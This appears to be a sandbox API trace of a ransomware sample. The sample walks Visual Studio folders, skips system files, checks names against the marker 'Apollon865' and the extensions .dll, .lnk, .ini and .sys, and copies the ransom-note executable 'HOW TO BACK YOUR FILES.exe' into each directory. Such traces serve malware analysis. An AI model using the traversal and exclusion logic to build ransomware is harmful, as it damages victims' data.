	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0052.944] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0052.944] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Microsoft.stdformat.dll" | out: lpString1="Microsoft.stdformat.dll") returned="Microsoft.stdformat.dll"
	[0052.944] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23
	[0052.944] lstrlenW (lpString="Apollon865") returned 10
	[0052.944] lstrcmpiW (lpString1="format.dll", lpString2="Apollon865") returned 1
	[0052.944] lstrlenW (lpString=".dll") returned 4
	[0052.944] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".dll") returned 1
	[0052.944] lstrlenW (lpString=".lnk") returned 4
	[0052.944] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".lnk") returned 1
	[0052.944] lstrlenW (lpString=".ini") returned 4
	[0052.945] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".ini") returned 1
	[0052.945] lstrlenW (lpString=".sys") returned 4
	[0052.945] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".sys") returned 1
	[0052.945] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23
	[0052.945] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="msdatasrc.dll" | out: lpString1="msdatasrc.dll") returned="msdatasrc.dll"
	[0052.945] lstrlenW (lpString="msdatasrc.dll") returned 13
	[0052.945] lstrlenW (lpString="Apollon865") returned 10
	[0052.945] lstrcmpiW (lpString1="atasrc.dll", lpString2="Apollon865") returned 1
	[0052.945] lstrlenW (lpString=".dll") returned 4
	[0052.945] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".dll") returned 1
	[0052.945] lstrlenW (lpString=".lnk") returned 4
	[0052.945] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".lnk") returned 1
	[0052.945] lstrlenW (lpString=".ini") returned 4
	[0052.945] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".ini") returned 1
	[0052.945] lstrlenW (lpString=".sys") returned 4
	[0052.945] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".sys") returned 1
	[0052.945] lstrlenW (lpString="msdatasrc.dll") returned 13
	[0052.945] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="stdole.dll" | out: lpString1="stdole.dll") returned="stdole.dll"
	[0052.945] lstrlenW (lpString="stdole.dll") returned 10
	[0052.945] lstrlenW (lpString="Apollon865") returned 10
	[0052.945] lstrlenW (lpString=".dll") returned 4
	[0052.945] lstrcmpiW (lpString1="stdole.dll", lpString2=".dll") returned 1
	[0052.945] lstrlenW (lpString=".lnk") returned 4
	[0052.945] lstrcmpiW (lpString1="stdole.dll", lpString2=".lnk") returned 1
	[0052.945] lstrlenW (lpString=".ini") returned 4
	[0052.945] lstrcmpiW (lpString1="stdole.dll", lpString2=".ini") returned 1
	[0052.945] lstrlenW (lpString=".sys") returned 4
	[0052.945] lstrcmpiW (lpString1="stdole.dll", lpString2=".sys") returned 1
	[0052.945] lstrlenW (lpString="stdole.dll") returned 10
	[0052.945] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8"
	[0052.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0052.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0052.946] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 48
	[0052.946] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8"
	[0052.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.951] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.951] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a2eeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.952] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.952] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.952] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.952] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a2eeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.952] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.952] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.952] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.952] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.952] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="Apollon865.txt.exe") returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2=".") returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="..") returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="windows") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="bootmgr") returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="temp") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="pagefile.sys") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="boot") returned 1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="ids.txt") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="ntuser.dat") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="perflogs") returned -1
	[0052.952] lstrcmpiW (lpString1="Common7", lpString2="MSBuild") returned -1
	[0052.952] lstrlenW (lpString="Common7") returned 7
	[0052.952] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*") returned 50
	[0052.952] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Common7" | out: lpString1="Common7") returned="Common7"
	[0052.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0052.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0052.952] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0052.952] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a08d50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a08d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.952] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.952] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="Apollon865.txt.exe") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2=".") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="..") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="windows") returned -1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="bootmgr") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="temp") returned -1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="pagefile.sys") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="boot") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="ids.txt") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="ntuser.dat") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="perflogs") returned 1
	[0052.953] lstrcmpiW (lpString1="SDK", lpString2="MSBuild") returned 1
	[0052.953] lstrlenW (lpString="SDK") returned 3
	[0052.953] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned 56
	[0052.953] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="SDK" | out: lpString1="SDK") returned="SDK"
	[0052.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0052.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0052.953] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0052.953] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd558aca0, ftCreationTime.dwHighDateTime=0x1d506c5, ftLastAccessTime.dwLowDateTime=0x2f69a6e0, ftLastAccessTime.dwHighDateTime=0x1d524a3, ftLastWriteTime.dwLowDateTime=0x2f69a6e0, ftLastWriteTime.dwHighDateTime=0x1d524a3, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="seating_olympic.exe", cAlternateFileName="SEATIN~1.EXE")) returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2=".") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="..") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="windows") returned -1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="bootmgr") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="temp") returned -1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="pagefile.sys") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="boot") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="ids.txt") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="ntuser.dat") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="perflogs") returned 1
	[0052.953] lstrcmpiW (lpString1="seating_olympic.exe", lpString2="MSBuild") returned 1
	[0052.953] lstrlenW (lpString="seating_olympic.exe") returned 19
	[0052.954] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned 52
	[0052.954] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="seating_olympic.exe" | out: lpString1="seating_olympic.exe") returned="seating_olympic.exe"
	[0052.954] lstrlenW (lpString="seating_olympic.exe") returned 19
	[0052.954] lstrlenW (lpString="Apollon865") returned 10
	[0052.954] lstrcmpiW (lpString1="lympic.exe", lpString2="Apollon865") returned 1
	[0052.954] lstrlenW (lpString=".dll") returned 4
	[0052.954] lstrcmpiW (lpString1="seating_olympic.exe", lpString2=".dll") returned 1
	[0052.954] lstrlenW (lpString=".lnk") returned 4
	[0052.954] lstrcmpiW (lpString1="seating_olympic.exe", lpString2=".lnk") returned 1
	[0052.954] lstrlenW (lpString=".ini") returned 4
	[0052.954] lstrcmpiW (lpString1="seating_olympic.exe", lpString2=".ini") returned 1
	[0052.954] lstrlenW (lpString=".sys") returned 4
	[0052.954] lstrcmpiW (lpString1="seating_olympic.exe", lpString2=".sys") returned 1
	[0052.954] lstrlenW (lpString="seating_olympic.exe") returned 19
	[0052.954] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="VSTA" | out: lpString1="VSTA") returned="VSTA"
	[0052.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a8a8
	[0052.954] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.954] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0
	[0052.954] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.954] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0052.954] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA"
	[0052.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.954] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned 53
	[0052.954] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA"
	[0052.954] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.955] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.959] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a2eeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.959] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.959] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.959] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.959] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a2eeb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.959] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.959] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.959] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.959] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.959] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1
	[0052.959] lstrcmpiW (lpString1="Bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="Apollon865.txt.exe") returned 1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2=".") returned 1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="..") returned 1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="windows") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="bootmgr") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="temp") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="pagefile.sys") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="boot") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="ids.txt") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="ntuser.dat") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="perflogs") returned -1
	[0052.960] lstrcmpiW (lpString1="Bin", lpString2="MSBuild") returned -1
	[0052.960] lstrlenW (lpString="Bin") returned 3
	[0052.960] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*") returned 55
	[0052.960] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Bin" | out: lpString1="Bin") returned="Bin"
	[0052.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0052.960] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.960] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a2eeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.960] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.960] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a2eeb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37a2eeb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.960] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.960] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0052.960] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin"
	[0052.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0052.960] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.960] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned 57
	[0052.960] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin"
	[0052.960] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.960] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a55010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a55010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.972] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.973] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.973] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.973] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x37a55010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37a55010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.973] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.973] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.973] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.973] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.973] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0052.973] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
